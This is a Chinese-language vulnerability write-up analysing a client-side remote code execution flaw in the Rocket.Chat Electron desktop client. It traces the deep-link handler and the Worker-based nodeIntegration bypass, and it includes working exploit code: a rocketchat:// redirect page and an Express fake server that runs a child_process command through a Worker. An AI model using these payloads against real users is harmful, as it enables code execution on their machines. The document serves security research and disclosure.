先来谈谈,挖掘electron应用rce的思路无外乎能够让webContents加载攻击者构造的页面。而当nodeIntegration为false时,意味着加载三方站点时会隔离外源script标签下的node环境,因此script标签下的js上下文无法获取到require等函数。rocket.chat所做的安全处理如下
rootWindow.webContents.addListener(
'will-attach-webview',
handleWillAttachWebview
);
webPreferences
for the webContents
of a <webview>
before it’s loaded, and provides the ability to set settings that can’t be set via <webview>
attributes.在webview加载之前更改webPreferences,从而隔离子页面node上下文
const handleWillAttachWebview = (
_event: Event,
webPreferences: WebPreferences,
_params: Record<string, string>
): void => {
delete webPreferences.enableBlinkFeatures;
webPreferences.preload = path.join(app.getAppPath(), 'app/preload.js');
webPreferences.nodeIntegration = false;
webPreferences.nodeIntegrationInWorker = true;
webPreferences.nodeIntegrationInSubFrames = true;
webPreferences.webSecurity = true;
webPreferences.contextIsolation = true;
webPreferences.nativeWindowOpen = true;
};
但是nodeIntegrationInWorker 设置为true,意味着我们可以通过Worker对象绕过nodeIntegration 的限制,具体参考下文的payload
SSD Advisory - Rocket.Chat Client-side Remote Code Execution - SSD Secure Disclosure
#exp
<html>
pwned
<script>
location.href='rocketchat://room?host=http://localhost&rid=pwn&path=file-upload/8ByCbH839kBDsYmEu/lin.html'
</script>
</html>
从payload可以看出,通过协议启动electron应用时产生的bug,全局搜索electron内置注册协议的api setAsDefaultProtocolClient
定位到electron在应用启动时注册了名为rocketchat的浏览器唤醒协议
performElectronStartup
是electron应用预启动的部分初始化逻辑,包括注册协议、更改AppUserModelID,但我们重点是关注electron如何处理唤醒应用后的逻辑。electron app通过监听open-url或者second-instance事件,处理唤醒容器时的参数,搜索关键字可以快速定位到setupDeepLinks
之后的操作就是对应用进行深度链接
参数url
是唤醒应用时的路径值,跟进processDeepLink
查看对该url
的进一步操作:在processDeepLink
函数内部做了一些处理,根据action的类型对参数进行操作后,将其丢入对应的方法调度。多提一嘴,这里有点类似于react-redux的逻辑,根据action的类型分发到不同的reducer中,只是此处并没有借助redux-dispatch而直接调度,如果通读rocket
的代码会发现整个应用的控制逻辑都是借助redux来实现的。
const processDeepLink = async (deepLink: string): Promise<void> => {
const parsedDeepLink = parseDeepLink(deepLink);
if (!parsedDeepLink) {
return;
}
const { action, args } = parsedDeepLink;
switch (action) {
case 'auth': {
const host = args.get('host') ?? undefined;
const token = args.get('token') ?? undefined;
const userId = args.get('userId') ?? undefined;
if (host && token && userId) {
await performAuthentication({ host, token, userId });
}
break;
}
case 'room': {
const host = args.get('host') ?? undefined;
const path = args.get('path') ?? undefined;
if (host && path) {
await performOpenRoom({ host, path });
}
break;
}
case 'invite': {
const host = args.get('host') ?? undefined;
const path = args.get('path') ?? undefined;
if (host && path) {
await performInvite({ host, path });
}
}
}
};
当action的值为room
时,我们继而跟进performOpenRoom
函数,在performOnServer
中完成对url的resolve处理,重新拼接host、path、param等参数为完整的url后,调用异步的回调函数加载serverUrl
从而加载攻击者构造的可控页面,完成RCE。当然这里限制了serverUrl的路径,攻击者只需要在服务端上传一个html文件即可
这点是笔者在调洞时发现的一处任意页面加载,逻辑简单。在添加rocket server时会先判断服务器的版本号是否存在,请求的端点在/api/info
接着请求rocket server首页进行用户注册,将页面存储到webContentsByServerUrl定义的Map中
const webContentsByServerUrl = new Map<Server['url'], WebContents>();
当Dom加载完成时会触发handleAttachReady操作,进行WEBVIEW_ATTACHED调度,store监听了WEBVIEW_ATTACHED这个action,对已加载的serverUrl返回对应的Webcontents
我们只需要构造如下的fake server即可在建立连接时进行rce
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.setHeader('Content-Type', 'text/html');
res.send("<script>new Worker('data:,require(`child_process`).execSync(`calc.exe`)');</script>")
});
router.get('/api/info', function(req, res, next) {
res.setHeader('Content-Type', 'application/json; charset=utf-8');
res.json({"version":"4.5","success":true});
});
module.exports = router;
”hey bro, join my chat server “
“what? you wanna to hack me?”
强烈建议使用vscode调试,vscode支持两种调试模式:
第一种模式将调试程序attach到进程所指向的pid上
第二种模式在程序启动(通过node或者npm)时指定--inspect-brk
,然后自动attach上去,这种模式相当于在开发者工具上附加调试程序